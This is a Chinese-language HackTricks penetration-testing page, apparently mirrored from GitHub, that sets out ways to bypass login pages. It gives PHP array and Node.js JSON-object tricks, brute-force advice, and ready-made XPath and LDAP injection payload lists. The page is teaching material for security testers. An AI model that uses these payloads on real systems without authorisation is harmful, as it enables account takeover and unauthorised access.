mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
96 lines
3.8 KiB
Markdown
96 lines
3.8 KiB
Markdown
# 登录绕过
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **绕过常规登录**
|
||
|
||
如果你发现了一个登录页面,这里有一些技术可以尝试绕过它:
|
||
|
||
- 检查页面内的 **评论**(向下滚动并向右?)
|
||
- 检查是否可以 **直接访问受限页面**
|
||
- 检查 **不发送参数**(不发送任何或仅发送1个)
|
||
- 检查 **PHP 比较错误:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||
- **将内容类型更改为 json** 并发送 json 值(包括 bool true)
|
||
- 如果你收到一个响应,表示不支持 POST,你可以尝试以 **GET 请求发送 JSON 到主体**,并设置 `Content-Type: application/json`
|
||
- 检查 nodejs 潜在的解析错误(阅读 [**这个**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||
- Nodejs 会将该有效负载转换为类似以下的查询: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这使得密码位始终为真。
|
||
- 如果你可以发送 JSON 对象,你可以发送 `"password":{"password": 1}` 来绕过登录。
|
||
- 记住,要绕过此登录,你仍然需要 **知道并发送有效的用户名**。
|
||
- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止所有意外行为,当 `Object` 被传递** 在参数中。
|
||
- 检查凭据:
|
||
- [**默认凭据**](../../generic-hacking/brute-force.md#default-credentials) 的技术/平台
|
||
- **常见组合**(root, admin, password, 技术名称, 默认用户与这些密码之一)。
|
||
- 使用 **Cewl** 创建字典,**添加** 默认用户名和密码(如果有),并尝试使用所有单词作为 **用户名和密码** 进行暴力破解
|
||
- **暴力破解** 使用更大的 **字典 (**[**暴力破解**](../../generic-hacking/brute-force.md#http-post-form)**)**
|
||
|
||
### SQL 注入认证绕过
|
||
|
||
[这里你可以找到几种通过 **SQL 注入** 绕过登录的技巧](../sql-injection/#authentication-bypass)。
|
||
|
||
在以下页面中,你可以找到一个 **自定义列表以尝试通过 SQL 注入绕过登录**:
|
||
|
||
{{#ref}}
|
||
sql-login-bypass.md
|
||
{{#endref}}
|
||
|
||
### 无 SQL 注入认证绕过
|
||
|
||
[这里你可以找到几种通过 **无 SQL 注入** 绕过登录的技巧](../nosql-injection.md#basic-authentication-bypass)**。**
|
||
|
||
由于无 SQL 注入需要更改参数值,你需要手动测试它们。
|
||
|
||
### XPath 注入认证绕过
|
||
|
||
[这里你可以找到几种通过 **XPath 注入** 绕过登录的技巧](../xpath-injection.md#authentication-bypass)
|
||
```
|
||
' or '1'='1
|
||
' or ''='
|
||
' or 1]%00
|
||
' or /* or '
|
||
' or "a" or '
|
||
' or 1 or '
|
||
' or true() or '
|
||
'or string-length(name(.))<10 or'
|
||
'or contains(name,'adm') or'
|
||
'or contains(.,'adm') or'
|
||
'or position()=2 or'
|
||
admin' or '
|
||
admin' or '1'='2
|
||
```
|
||
### LDAP 注入认证绕过
|
||
|
||
[在这里你可以找到几种通过 **LDAP 注入** 绕过登录的技巧。](../ldap-injection.md#login-bypass)
|
||
```
|
||
*
|
||
*)(&
|
||
*)(|(&
|
||
pwd)
|
||
*)(|(*
|
||
*))%00
|
||
admin)(&)
|
||
pwd
|
||
admin)(!(&(|
|
||
pwd))
|
||
admin))(|(|
|
||
```
|
||
### 记住我
|
||
|
||
如果页面有 "**记住我**" 功能,请检查其实现方式,看看是否可以利用它来 **接管其他账户**。
|
||
|
||
### 重定向
|
||
|
||
页面通常在登录后会重定向用户,请检查是否可以更改该重定向以导致 [**开放重定向**](../open-redirect.md)。如果将用户重定向到您的网站,您可能会窃取一些信息(代码、cookie...)。
|
||
|
||
## 其他检查
|
||
|
||
- 检查是否可以通过登录功能 **枚举用户名**。
|
||
- 检查密码/**敏感**信息 **表单** **输入** 中是否启用了 **自动完成**:`<input autocomplete="false">`
|
||
|
||
## 自动化工具
|
||
|
||
- [HTLogin](https://github.com/akinerkisa/HTLogin)
|
||
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|